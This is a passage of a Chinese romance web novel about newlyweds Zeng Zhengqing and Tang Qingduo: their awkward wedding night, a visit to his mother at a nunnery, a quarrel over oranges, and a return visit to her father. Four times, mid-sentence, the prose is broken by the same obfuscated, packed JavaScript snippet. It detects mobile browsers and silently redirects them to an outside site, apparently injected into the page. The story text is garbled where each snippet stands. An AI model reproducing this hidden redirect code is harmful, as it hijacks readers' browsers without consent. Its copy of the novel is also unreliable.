曾正卿见她满脸惊骇,顺着她的目光看下去,落到下身垂坠的那物上,他脑袋一片空白,随手抓起个衣服盖在上面。 这红色的衣服有点小。 曾正卿皱起眉头,仔细一看,这上面怎么还绣着花? 刚才自己是在床下脱的衣服,那床上的这些……他大惊失色,抬头盯着唐青朵。她嗫喏道:“那是我的小衣……” 沉默。 死一般的沉默。 它注定要成为今晚的主调。 曾正卿从小就被教导承担家庭重任,父亲还在世时就已经能独当一面,做生意时,什么样的人都打过交道,自认为滴水不漏,面对现在的场面,却觉得手足无措,他默默拽过床幔遮住下半身,低声道:“对不起,我明天赔给你。” “我才要为伤了你说对不起。”青朵紧忙说道,她想了想,头一歪,“要不然我们扯平了?” “……好。” “那接下来,干什么?”她扑闪着眼睛。 以现在的情况来看,他是什么也干不了了。曾正卿提议:“睡觉?” 她明显松了一口气。早知道她不情愿,还不如一开始就仅是休息,至少自己不用挨上一脚,曾正卿暗叹。 两人分别穿上寝衣躺下,曾正卿睡在里面,青朵在外侧。与陌生人同床共枕,根本没那么容易睡着。 “你身上还疼吗?用不用上药?”青朵问道。 “不疼了。”他说谎道。 “唉,踹的力道太大了,恐怕会留下淤青。” 曾正卿顿了顿,说道:“你,很有力气。” “可能是在家里总要挑水的缘故。” “挑水?” “对啊,村里只有一口井,我家离得还远,把家里的水缸倒满,我要同时挑两桶水,走三四趟呢!”青朵的话中含有难以觉察的自得。 若是当年没有那件事,她应与自己一样,过着养尊处优的生活。即便如此,在第一次相见,他还是感受到来自她身上的,明朗的光辉。 “很了不起。”他称赞道,发自内心。话音刚落,右侧传来妻子轻轻的笑声。 曾正卿迷迷糊糊地睡着了,半梦半醒间,他来到一个地方,周围雾蒙蒙的一片,看不真切,他自知迷路,不知走向何方。忽地看见远处有一道倩影,肩扛扁担,前后挑着两桶水,一念之间,他想到青朵的话,心里便觉得那人就是青朵,喊道: “夫人!夫人!” 那人只顾往前走,虽担着两桶水,却越走越快,曾正卿不肯放过仅有的线索,边追边喊唤,可她就是不回头。耳边传来呼啸风声,有什么东西划空而来,他放眼望去,空中竟伸出一只巨足,向他踢来。他惊呆了,站在原地一动不动,眼看无法躲避…… 他猛地清醒,刚才的惊惧还萦绕心间,浑身汗涔涔的,渐渐意识到这是梦,乱蹦的心跳回归平静。 奇怪,明明是梦,可身上怎么真的有痛感呢? 他抬高身子向下一瞧,夫人的一条腿横跨在他身上。 曾正卿了然,这就是梦中“飞天巨腿”的由来。他将“原型”塞回被子,动作轻柔,没有搅扰她的好梦。 月光笼罩,她的睡颜像是春日里的一株蒲公英,白茸茸的,带着笑,似是在做乘风而起的美梦。 她并不抗拒与自己同床共枕,为何会对夫妻之事反应强烈? 是不是自己的动作过于强势,吓到她了?还是,自己不擅长此事,惹她不喜? 如是反反复复地思索,心中郁结,至天色渐明,方才阖眼。 第二日亲戚们看到曾正卿眼圈发青,有人露出意味深长的表情。 真是“哑巴被驴踢——有苦难言”。 * 曾家是一个大家族,远近亲戚多到青朵记不住,但只要人家给予赠礼,她就甜甜地笑,曾正卿让她怎么称呼,她就重复一遍,说些吉利话。一圈下来,亲人只记住两个,要论及别人都送了哪些礼,她倒了如指掌。 一个是曾正卿的大伯,也是曾家的族长。看他严肃的神情,青朵就知道这位是她爹的反义词。另一个就是曾正卿的弟弟,曾正己,比她小一岁,眉眼与曾正卿有相似之处,不过稍显青涩,举手投足间尽显少年人的意气风发。 “元柏,既然侄媳已经见过家里人,你便带她去见你母亲吧!”曾正卿的大伯曾恪道。 “是。”曾正卿恭敬应着,带着弟弟曾正己和青朵出来,下面的人早就备好马车和马匹,曾正卿和青朵坐马车,正己骑马。 马车宽敞,正卿与青朵之间的空间也很“宽敞”。经昨夜一事,两人不约而同选择保持距离,他靠左侧,她倚右角。 “我们要去哪?刚才不是说去见你母亲吗?”青朵感到奇怪。 “去霁月庵,我母亲在那儿出家。”曾正卿淡淡道。 青朵眼睛瞪得溜圆,刚想问为什么,但见曾正卿一副不欲多谈的样子,想起自己“端庄贤淑”的形象,这时候就应该善解人意,转移话题。 “母亲为什么出家?”她还是太好奇了。 曾正卿望着她片刻,说道:“母亲与父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294437|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲不和,慢慢便开始吃斋念佛,后来不愿意再与父亲在同一屋檐下,就只身一人回到家乡,在霁月庵出家。” “母亲与父亲不和?”青朵眉毛微蹙,“我听我爹说,你爹娘感情一直很好啊!” 曾正卿合上眼睛,闭口不答。青朵悻悻地缩回自己的右角。她偷觑曾正卿,见他一直闭着眼睛,于是偷偷撩起车帷的一角,透过缝隙向外看去。 春光灿烂,柳烟樱雾,万物的明亮与自由,化作光辉,将她的眼眸点缀得濯濯澄净。 正看得出神,忽听得后面声音说道:“把帘子挂起来吧。” 青朵一怔,下意识回头看,曾正卿不知什么时候睁开眼,正望向她,青朵一时没动,她听说大户人家的妇人出门是不能被人看见脸的。曾正卿似乎听到她内心所想,说道:“无妨,出城后人越来越少,不必担心。” 青朵嫣然一笑,挂起帘子,尽情观赏。一阵东风起,樱瓣如雨,缤纷洒落,青朵伸手去接,花瓣有的穿过指缝飘走,有的零落指间,恍惚间,仿佛自己也融进春日。 曾正卿将这一切都看在眼里, 他的妻子还是一个天真浪漫,不通世事的小姑娘。 紧接着一个念头闪过: 所以,应当不是他的问题。 * 到了霁月庵,先去礼佛,然后要在庵里做斋饭行善举。做饭的事自有带来的仆人完成,他们三个只要分发施与就可以了。 曾正卿的母亲出门未归,三人便在屋中喝茶静候。茶烟袅袅,鸟鸣幽幽,曾家兄弟的屁股像是落了钉,青朵的心里是长了草,她实在坐不住,以如厕为借口起身,实际上是想去院里里闲逛。 曾正卿担心她初来迷路,请一位庵里的姑子陪她同去。青朵暗暗叫苦,没有办法,只能恭恭敬敬地跟在后面。 所幸方便后出门,那姑子不知去向,青朵欢喜至极,打算在园中好好逛逛再回去,倘若曾正卿问耽搁许久的原因,她就推到那姑子身上,说是迷路的缘故。 唐礼不信佛,她也不信,没逛多一会儿,她就觉得这地方索然无味,不过是左一个佛像,又一个香炉,青朵想要回去,可这院子重重叠叠的,一时还真不知自己从哪里来,隐约看着西侧的角门眼熟,抬腿迈过门槛,没走几步,不知踩到什么,脚下一滑—— “咚!”一屁股结结实实坐在地上。 “哎呦!”青朵痛呼,突如其来的剧痛过后,下面传来湿意。 “出血了?”她吓了一跳,可又闻到一股柑橘气味,连忙伸手向下面摸去,手指碰到软烂的事物,黏糊糊的。 她颤抖着将东西掏出,被坐扁的橘子流淌血泪,汁水从指尖滴答落下,落到她波光粼粼的裙子上。 青朵不禁悲从中来:“啊!我那烟霞珍珠纱缠枝罗裙!” 四下望望,发现地上散落着好几个橘子,自己也正是因为踩到它们,才摔倒的。顿时怒火窜上心头,她嚷嚷道:“是哪个不长眼的!撒一地的橘子也不知道捡!摔了姑奶奶的屁股,脏了姑奶奶的衣裙!” “是我。”一人冷静道。 5. 赔偿 青朵向声音的来处望去,见一个干瘦的女子,提着一个小篮子,里面还有几个橘子。她身着褐色粗布衣裳,头发扎起来,但还是乱蓬蓬的,像斑鸠搭建的巢穴,粗糙简陋。 那女子一说话,脸颊凹进去,仿佛是在骨头架子上罩一层皮,她生硬道:“是我的橘子。” 青朵不满她居高临下的目光,强撑着身子站起,过程中带有不少“哎呦哎呦”,她的身体重心移交在一条腿上,捂着屁股道:“就因为你,我才摔了一跤!站起来都疼得厉害,更不用说走路!你见我起身困难,也不知道不扶我一把!还有,你不该向我道歉吗?” “对不起。”女子生硬道。 青朵不满:“这就完了?你糊弄谁呢!” “我道过歉了。”女子不为所动,“也该我跟你算账了。” “什么?”青朵怀疑自己听错了,“你要跟我算什么账?喂!你搞清楚!受伤的人可是我!” “可你砸烂了我的橘子。”她面无表情数道,“连踩带坐,差不过有五个,给我一百文罢了。”说完伸出手。 青朵冷笑道:“你看我穿成这样,就想狮子大开口?当我没穷过不成?二十文一个橘子,快赶上‘洞庭真柑’了!” 她闻了闻手中的“橘子饼”,说道:“皮薄色红,酸中带苦,不过就是普通的橘子,还二十文,真好意思!” 那女子却正色说:“岭南荔枝在当地也不过几文,快马至长安又几何?霁月庵周边市集没有卖橘子的,你尽管去打听。我是从城里买来,徒步至此地,橘子就值这个价。” “如果什么都用钱来算,那我因你受伤,裙子也脏了,请人清洗加上药膏,怎么着也要超过一百文,”青朵一伸手,“多余的你赔我。” 女子眉头拧做一团:“还差多少?” “六十文。”青朵随口诌道。 那女子从框里拿出三个橘子,放在青朵手上,面无表情道:“还清了。” 说罢,俯身拾起地上完好的橘子,放到篮子里,施施然离去。 青朵托着三个橘子,立在原地。价值二十文的橘子皮上,映出她目瞪口呆的模样。 她一瘸一拐地艰难挪动着,路上碰到个慌慌张张的姑子,那人见到她眼睛一亮,迎上来说道:“阿弥陀佛,可下找到你了!夫人,饭做好了,等你们去施斋呢!” “你来得正好,快扶我一把!”青朵疼得龇牙咧嘴。 还好施斋不用她做什么,不过就是往素面里舀香菇、笋、豆干等浇头罢了。明明是曾家兄弟要实行善举,他们俩却一个都没出现,只有半残的曾家夫人忙里忙外。 最后一个打面的人离去,青朵揉揉发酸的肩膀,脑袋左右晃动,拉伸脖颈,捶捶酸痛的腰背,左右脚轮换支撑身体,每一次交替,都牵扯一次疼痛。 她正陷于身体的不适中,突然面前伸来一个缺口破碗。她疑惑地抬头望去,瞬间愣住了。 这不正是“斑鸠窝头”吗? 青朵上下打量她,难以置信道:“是你?” 那女子将碗又往青朵面前一伸,理直气壮说道:“给我浇头。” “不给。”青朵马上回绝。 “既是行善,为何不给?” “东西是我家的,我想给就给,不想给就不给,我就不想给你。” 女子看着青朵摇头晃脑,趾高气昂的样子,只能干瞪眼。看着她端碗沉默的样子,青朵别提多得意,屁股上的疼痛仿佛都少了几分,就因为它的主人替它报了仇。 还未等她痛快多久,那女子蓦地一把夺过勺子,狠狠舀上一勺,迅速倒入面碗,转身就要跑。 青朵怎肯吃亏,瞬间反应过来,一把抠住面碗,手指浸在热汤里也不肯松手,她嚷嚷道:“喂!斑鸠头!你怎么偷菜!” “这怎么能叫偷!本来就该是我得的,佛祖说众生平等,凭什么不给我浇头?”女子将面碗拉向自己这边。 “我是主人,不经同意自己擅取,就是偷!”青朵扯回面碗。 “一念善则善,一念恶即恶。你不应执迷于错误不知悔改,摒弃‘分别心’,平等对待我!”面碗又被夺回。 “呸!你害我摔了一跤,现在我屁股还疼呢!又没有诚恳道歉,我才不要平等对待你!”青朵使劲儿要将面碗拉过来。 “原来你还没有放下这件事,我不是赔给你三个橘子了吗?”女子紧紧拽着碗边,不肯松手。 两人互不相让,面碗就在她们中间前后左右,摇摇晃晃。两人暗暗使劲,一个咬紧牙关,一个鼓起腮帮,在众姑子的见证下,进行一场“拔面汤”比赛。 早有人上来劝解,庵里的姑子说女子“露浓,不得无礼。”,曾家的仆人劝青朵:“夫人,便舍予她吧!”不管怎样,两人只是不听不停,眼睛死死盯着彼此,像是要把对方牢牢印在记忆中,这辈子都忘不掉。 “嫂子!母亲回来了!”忽然外面传来曾正己的喊声。 青朵心中一凛:不好,不能让小叔子看到自己这幅样子,自己在曾家人眼中,可是温婉娴静的淑女,念头一起,立刻松开手。 名为“露浓”的女子正卯足力气往后拽,见青朵猝不及防松开,大惊失色,可已经来不及,她踉跄着往后退,身体失去控制,最后一屁股坐在地上,发出沉闷的声响。 “哗——”面汤波涛汹涌,带着漂浮的香菇夺碗而逃,一股脑地撒在她的衣服上。 “啊!好烫!”露浓手一撑,就想坐起,可一动就屁股疼,“嗷——”她手无力地松开,又坐了回去,臀部再次被震荡,旧伤未愈,新的疼痛又涌上。 青朵“扑哧”笑出声,拍手道:“屁股蹲儿还屁股蹲儿,这才叫还清了呢!” * 曾正卿远远看见青朵深一脚浅一脚走来,不禁眉头皱起,快步迎上去,换下弟弟扶住她,问道:“你怎么了?” “别提了,好惨,摔了一跤。” 曾正卿上下打量:“伤到哪了?” 青朵支支吾吾道:“臀,臀部。” 他不再问,扶青朵到门口,说道:“母亲就在里面,你进去吧!” 青朵愕然,用手指指着自己:“我自己?你不进去?” 曾正卿点头:“是,母亲只要见你。” 青朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294438|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心狂跳起来,一时间脑海里话本子戏文,还有现实中的各种家长里短纷至沓来,都是婆婆如何看不上儿媳,如何磋磨儿媳。曾正卿的母亲会不会也不喜欢她?难为她? 到时候忍还是不忍,这是一个问题。 按她的性子,她是断断不会忍的,但是念及今早各式各样的首饰和衣裙,还有亲戚送来的礼物……她好像,也不是不能忍。 “那好,我去了。”青朵一脸坚定,仿佛不是去见婆婆,而是要去边境征战。她推开门又轻轻合上,这时一个四十岁左右的姑子迎上前来,身材宽壮,圆润面庞,脸上带着笑,青朵规规矩矩地福身道:“儿媳拜见母亲。” 那人却避在一旁,说道:“阿弥陀佛,这位夫人,我不是曾施主的母亲,是服侍她的姑子明园。夫人请随我来。” 青朵忙站起身,满是尴尬,跟在明园后面走入,走了没几步,明园忽然停住,双手合十说道:“明净,夫人到了。” 前面的视线被她挡得严严实实,青朵探出一半脑袋,才看到前面坐着一位和明园差不多年岁的女子,穿戴素色僧衣僧帽,虽然年纪相仿,但岁月似乎对她格外怜爱,面容上只留浅浅痕迹。 青朵仔细端详,嗯,曾家兄弟的眼睛是随母亲,都一样的深邃,不过曾小弟的是个浅滩,曾母的一双眼,是无波无澜的水池,曾夫君的嘛,最是郁郁沉沉,是个深渊,看不透他想什么。 青朵正胡思乱想,没注意明园已经退到一旁,她婆母站起来,拉住她的手,她才蓦地回过神。曾母的手怎么这样凉?青朵下意识地将她的手握拢在手心,惊讶道:“你的手好冰!” 说完才想起自己没有行礼,匆匆忙忙又行礼说道:“儿媳青朵见过母亲!” “叫我明净就好。”曾母托她起身,淡淡道,“我已入佛门,不问尘事。” “是,母……师——太。”青朵应道,心中琢磨着,既然她已“不问尘事”,是不是说明她不会拿着婆婆身份,刁难她了?想通此节,不禁暗暗鼓掌叫好。 “你母亲怎样?如果方便,我很想见见她。”明净说道。 “我六岁时,娘就过世了。”青朵答道。 明净握住青朵的手一紧,失声问道:“姐姐是为何……” “她生了病,爹带着她遍访名医,也只是延缓而已,最后还是去了。”青朵叹了口气,“为了给娘治病,我爹把家里能换成钱的东西都卖了,虽没救回我娘,但他已经尽力了。” 明净垂眸敛目,合十祝祷,口中念起经文来。念罢,她抬起头对青朵说:“阿照,上一次见你,那时你才三岁,一转眼你就长大了,可怜你母亲早逝,见不到你出嫁。唉,我又在外,家里也没有能照顾你的长辈。” 她想了一想,对明园说道:“你去,把正卿叫进来。” 明园面露喜色,马上应道:“是!”快步出门。 青朵不禁疑惑,婆母不是说她不问世事了吗?可看起来,惦记的事不少啊! 她这是在庵里管家务事? 真是个别致的比丘尼。 不知明净师太对于自己仍恋俗世,是否心如明镜。 6. 回门 曾正卿匆匆进来,走至跟前,眼睛盯着明净,拱手道:“母亲!” 青朵觉察到他的手微微颤抖,暗中纳闷,这人要洞房时,握住她肩膀的手都很稳,这时候见亲妈激动什么? 明净眼神躲避,说道:“贫尼法号明净。” “……明净……师太。” 怎么回事怎么回事?儿子叫亲娘师太?青朵玩味地看看曾正卿,又看看曾母,见一个怅然,一个肃穆,只恨眼前没有瓜子,抓上一把磕个痛快,悠哉悠哉,观赏别人家的好戏。 哦,以她的身份来说,现在是自己家的戏。 明净仍然不看亲儿一眼,说道:“我叫你来,是要跟你说阿照的事。” “阿照?”曾正卿皱眉思索。 “哦,就是我。”正在一旁看热闹的青朵,听婆母提及自己,插进一嘴,见曾正卿的目光投过来,解释道,“小字。” 明净道:“阿照嫁给你,自此你们夫妻一体。你当细心呵护,别让她受委屈。家中的事情繁琐,你能担就担,至于管理家宅,慢慢教她,切莫心急。珍惜尊重,相携相伴,方能长久。” “老人常言,‘夫妻和而后家道成’。你用心待她,阿照自然也会真心待你,如此才能家和兴业,万事畅通。” “是,谨遵母亲教诲。”曾正卿恭敬应道。 她拉住青朵的手,心疼道:“若是我在你身边,还能时时照顾你。只是我现在……唉,你幼年失母,真是苦了你!” 青朵茫然道:“苦?我一直觉得,我挺有福气的啊!” 左右投来两道诧异的目光,青朵眨眨眼,说道:“我除了小时候生过几次病,一直都很健康,跟我爹游历时,走远路、爬山都不在话下;去冷清的小摊吃饭,总是会引来其他客人,不一会儿桌子就坐满了;虽然有时遇到困难,不知不觉,就又解决了,所以,我不苦啊!” 明净怔怔地看着她,良久欣慰地笑了,她一手拉着青朵,一手牵着曾正卿,将他们的手交叠在一起,说道:“是啊,阿照很有福气,是我们接福进门了。” * 车辙在黄土路上留下印记,回城的马车上,青朵的那番话还在曾正卿脑中回荡。 虽说早就感受到她身上的能量,但在听到那些话语时,仍然止不住地震惊。他的身边,像青朵这样,不因消逝惘然,安于所遇的人,少之又少。便是放眼天下,也是寥寥可数。世人多悲痛自己的失去,哀伤自己的未得,在他们看来,拥有才是理所应当,这些人中也包括他自己。 他起了疑心,她到底是没心没肺,还是真正乐观豁达之人呢? 他对她,好奇极了。 眼下就有一件事,让他大惑不解,不得不问。 "你一定要这个姿势吗?"曾正卿问道。 青朵直挺挺地跪着车厢里,她沮丧道:“我也没办法啊!一坐下臀部就痛。一定是有淤伤!” 曾正卿暗叹一声,说道:“正好我今早用了治淤伤的药膏,回去让芳晴给你上药。” 青朵奇道:“你哪里受伤了?”忽然想起一件事,心虚道:“难道是我昨天踹的?” 曾正卿扫了她一眼,抿嘴没有回答。 “唉!”青朵重重地叹气,沮丧道,“夫君啊,” 刚作“夫君”不久,曾正卿还不适应,他愣了一下,才意识到青朵是在唤他,应了一声:“嗯?” “你说是不是,咱俩的名字不吉利?” “嗯??” “你有‘卿’,我有‘青’,所以咱俩才会都受伤。这便是,青朵正卿一相逢,便带来淤青无数。” 这是什么歪理! 曾正卿扬眉调侃道:“那我便帮夫人改个名字,就叫‘红朵’,如何?” “不好不好,”青朵一口回绝,“要是‘红朵’,只怕当场就要喷血!还不如‘青’呢!” 曾正卿不由得低笑出声。他眼中蕴含笑意,说道:“跪着膝盖疼,你侧身躺下吧!” 青朵依言侧身躺下,面朝曾正卿,问道:“夫君,见母亲时,你为何不与我一同进去?” 一瞬间的黯然,从曾正卿脸上掠过,他平静地说道:“自从母亲出家,就不肯再见我和正己了。” “啊?”青朵疑惑不解,“为什么?” “母亲说,出家人应斩断尘缘,专注自身修炼。托你的福,五年了,我头一次与母亲亲近交谈。” 斩断尘缘?就她那个婆母? 就连新娶进门的儿媳都放心不下,还能放下自己的亲生儿子们? 她明明惦念俗世,像出了个“假”家。曾正卿就看不出来? 青朵纳闷极了,越思考越觉得脑袋昏昏沉沉,在马车的摇晃中,慢慢睡着了。中途不知马车压到什么,猛地颠簸,她不耐烦地哼唧几声,朦胧中,头下多了一个垫子,=温热柔软,于是又安心睡去。 “夫人,醒醒,我们到了。”有人低声轻唤。青朵从熟睡中醒转,她揉着眼睛不经意一瞥,才发现那个热乎乎的垫子是曾正卿的手。 她猛地支起身子,见他不动声色地抽回自己的手,缩进袖子里,放在身前,仿佛自己什么也没做。 青朵一把捞起他的手,眼睛睁得圆圆的:“我还以为哪来的垫子!原来是你的手!我枕了一路,你不疼吗?” 曾正卿刚想违心说“不疼”,可话到嘴边不知怎的一转,就成了:“疼。”、 青朵捧着他的手,轻轻揉按,小心翼翼的样子,像是在给饺子捏褶。曾正卿的手长时间被压在下面,早就又麻又痒,经她一按,顿时像有无数支细密的针扎入,刺痛感顺着指尖一路向上蔓延。 “好些了吗?”她问道。 曾正卿咬牙回道:“嗯!” 她的声音轻快起来:“嘿,我很体贴吧?” 曾正卿仰头望去,她的眼睛里写满了期待。 没有人能辜负那双眼。 他垂下目光,怕自己对视下去,就要笑出声来,可是笑容还是不自禁地,漾在嘴角:“嗯,你最体贴了。” * 回门的那日,一下车,青朵就冲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294439|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家门,嚷嚷道:“爹!我回来啦!” 唐礼从厨房跑出,手里抄着个炒勺,大喜:“阿照!爹的宝贝女儿!” 他几步上前,扯着青朵上下打量,见她衣着华贵,明媚清秀,显然这几日过得不错,连声道:“好!好!” “岳父。” 唐礼闻声一看,曾正卿跟在身后,恭敬行礼,他一只手拉着青朵,另一只手挥舞着炒勺乐呵呵道:“好!贤婿不必多礼,回到家自在就好!哎哟,我得看看我那虾,糊了就糟了!” “虾?哪来的?”青朵问道。 厨房里飘来一股轻微的糊味,唐礼三步并作两步往厨房跑:“这不你要回来,我一早去澄湖边上捞的,哎哟,我的虾欸! 青朵原地跺脚,埋怨道:“这么有意思的事,你也不等我回来一起?真是的!”她提起裙子,边说边走进厨房:“只有虾吗?没捉条鱼回来?” “我倒是想嘞!”唐礼的声音响亮,“捞到的都是小鱼小虾,只能一锅炸了,不过你瞧瞧这是什么?” “塘鳢鱼炖蛋!”青朵喜悦的声音传来,接着就听到唐礼得意道:“嘿!还是爹知道你的喜好吧!丫头,把笋切了,旁边有莼菜,正好来个玉带羹,加上香椿拌蚕豆,今天怕不是要鲜掉你的牙齿!” 听着里面传来的欢声笑语,曾正卿怔愣在原地,甚至都没注意到,身后管家何伯禀告回门的礼都搬进来放好了。 这不是他熟知的父子关系。岳父和青朵就像是朋友一般,她想说什么就说什么,毫无顾忌。而自己的父亲在世时,他与父亲……不曾有过这种亲密。每次在父亲面前,他都是躬身垂手,谨言慎行,父亲时常面容冷峻,只有在自己做对时,才面带赞许。 他恍惚了。到底哪一种相处才是对的?哪一种是错的? 他想不明白。唯一明确的是,羡慕像是爬山虎,从心底最深处,一路攀爬。 青朵挽着袖子从里面走出,见曾正卿呆呆发愣,说道:“夫君,愣着做什么,喏,”她朝着墙边一嘟嘴,“把桌子支起来。” “哦。”曾正卿从沉思中惊醒,他向前迈出一步,就被管家何伯拦住了。 “少爷,我来吧。” 曾正卿反手挡住他:“我来。” 青朵看着两个人你争我抢的,一脸莫名其妙,支个桌子而已,不知道的以为多重大个事呢! 曾家的人都奇奇怪怪的! 她难以理解地摇摇头,回到厨房端菜出来,放到曾正卿摆开的桌子上。饭菜都上桌了,唐礼还不出来,青朵一边摆筷子一边喊道:“爹,吃饭了!” “咳咳,那个,阿照,你过来一下。”似是怕曾正卿起疑心,唐礼又补充一句,“帮我个忙!” 青朵漫不经心地过去,问道:“什么事啊?” 唐礼把她拉到一旁,向站在院里的曾正卿瞄了一眼,悄悄问道:“阿照,你不是说要装成大家闺秀那种端庄的样子吗?你现在不用这样做了?” 青朵闻言大惊:“我一直在扮演优雅,难道你没感受到吗?” 7. 猜疑 “不是没有。”青朵刚松一口气,就听自己亲爹摇头道,“是半点没有啊!” 青朵的心一下子提起:“啊?” 她不甘心地挣扎:“有没有可能,我是在你面前,所以卸去伪装……” “你一进门时,女婿就在身边,也没见你‘穿上’伪装啊!”唐礼说到“穿”字,凭空做一个披衣服的动作。 “完了完了完了——”青朵一脸绝望,她眼睛一转,瞬间理直气壮,为自己开脱:“这可不怨我!我当大小姐的时候,那都什么时候的事!早就不记得了!还有,我平时也没和小姐们打过交道,怎么知道‘端庄’是什么样嘛!” “这有什么难的!模仿你娘就是了!她外婆出身大家,她可是由你外婆教养出来的!” “爹呀!我有记忆的时候,娘长年疾病缠身,总是有气无力的,难道我就要模仿那个样?” “我都得憋死。”青朵嘀咕道。 “不是让你装柔弱!是举止娴雅,当个贤妻良母。”唐礼指点她,“你母亲刚嫁过来的时候,早上我起,她也跟着起来,伺候我穿衣,送我出门;即使家里有厨娘,她有时也会亲手做菜给我。” “有这种事?”青朵狐疑道。 “所以说是她刚嫁过来的时候嘛!” 青朵嘻嘻笑:“所以娘后来也装不下去了!” “不是装不下去了!你娘本身就娴雅得很!才不是像你似的要装!”唐礼气冲冲反驳道,“再就是你这家伙出来了,总不能塞回去,连子带母一并送回去,只能凑合养了!” “常言道,‘有其母必有其子’,你这家伙除了长相,性格真是与阿罗一点不像,奇哉怪也!”唐礼叹息道。 “那有什么的,”青朵不在意道,“不像阿罗,就像阿礼,这就叫做,‘有其父必有其女’!” “反了天了!”唐礼扬起手作势要打,吓唬她道,“阿罗阿礼是你能叫的吗?只有你母亲能这么叫我!” 青朵浑然不惧,从小她调皮,父母也就是做做样子,巴掌板子从没有落到身上过,这也不过就是新的一出“虚张声势”。她有另一重担忧,低声对唐礼说道:“爹,你说,我夫君他有没有发觉呢?” 一大一小脑袋上下排列,出现在门边,眼睛滴溜溜地望向曾正卿。他感受到炽热的视线,抬头对上大小聪明的目光,虽然惊异,还是报之一笑。 唐家父女挤出一模一样的假笑,慢慢缩头,回身异口同声笃定道:“嗯,他没发觉。” “他若是觉得不对,就不会对我们如此和善了。”“青捕头”手摸着下巴,推测道。 “他一个毛头小子,又跟你有婚约,还能见过什么知书礼仪的小姐!就算见过,也不可能盯着人家瞧!我看呐!他也不知道淑女是什么样!”“礼判官”如此推断道。 “没错,他母亲也神神叨叨的,他应当对于‘贤淑’没有什么概念!嗯!我还有机会!”青朵精神焕发,振振有词,“爹!快跟我说说要点!待会出去的,可不是我‘唐青朵’,而是完完全全相反的我——‘唐朵青’!” * “唐朵青”说到做到,果然吃饭的时候,她收敛许多,脸上挂着适度的笑容,殷勤为唐礼和曾正卿夹菜。唐礼在曾正卿低头吃饭时,朝她投以赞许的眼神。 青朵得了她爹的赞赏,自认为暂且找到门路,底气十足。用餐完毕,唐礼一时兴起,提出带着女婿去祭拜青朵母亲。父女俩随性惯了,打算抬脚就走,曾正卿却觉得头次祭拜,空手而去不妥,吩咐管家出门速速置办一应用品。 等待间隙,他在青朵闺房短暂休息。说是姑娘家的房间,但也不太像姑娘家的房间。只有一张床,一桌一椅。桌子靠窗放置,桌面乱糟糟,画纸无序堆叠,几只调色盘里,残留着风干的颜料,色彩斑斓。 顺势望去,窗台上的一物吸引曾正卿的注意,那是一个土黄色的观音瓶,里面插着一个毫无章法,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294440|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面斜出的树枝,东一杈,西一枝,每一个枝杈上都挂着毛笔,高高低低,像是结的果。风从支起的窗钻入,枝杈上的“毛笔果”随风轻晃。 他怕花瓶撑不住晃动掉落,伸手去护,却发现瓶子稳稳立住,仔细一瞧,瓶里满满装着水,近水的分支点出,竟有一粒绿芽探出。 他暗暗称奇,伸手抚上瓶身,这才发现瓶身粗糙不堪,还能触到泥土里细小的砂砾,简陋又不失质朴,有一种未经打造的自然。 青朵见他爱不释手,笑道:“你喜欢的话,哪天我再塑一个给你。” 曾正卿讶异:“你还会制陶?” 青朵谦虚道:“哪里哪里,只是一点皮毛而已。” 曾正卿的目光落到摊在桌上的画,画中的场景似曾相识,悠长的小巷,整齐的篱墙,还有门口等待的男子。 “这是……”他忍不住拿起端详,没错,这画里的场景,就是自己第一次寻来,在门口侍立等待。 想不到她居然把这画出来。 “随手画的,”青朵挠挠头,问道,“你觉得怎样?” 一种新的敬意在曾正卿心中升起,他赞道:“夫人真是多才多艺。” 青朵的脸上扬起灿烂的笑,她无意中向桌面扫了一眼,突然脸色大变,冲上去“噼里啪啦”将下面的画纸一把团起。 “怎么了?”曾正卿惊道。 “没,没什么……”青朵左右看看,无处可藏,情急之下塞进左右袖中,含糊道,“就是些……唔……废稿,对,废稿!不能给你看,丢人!” 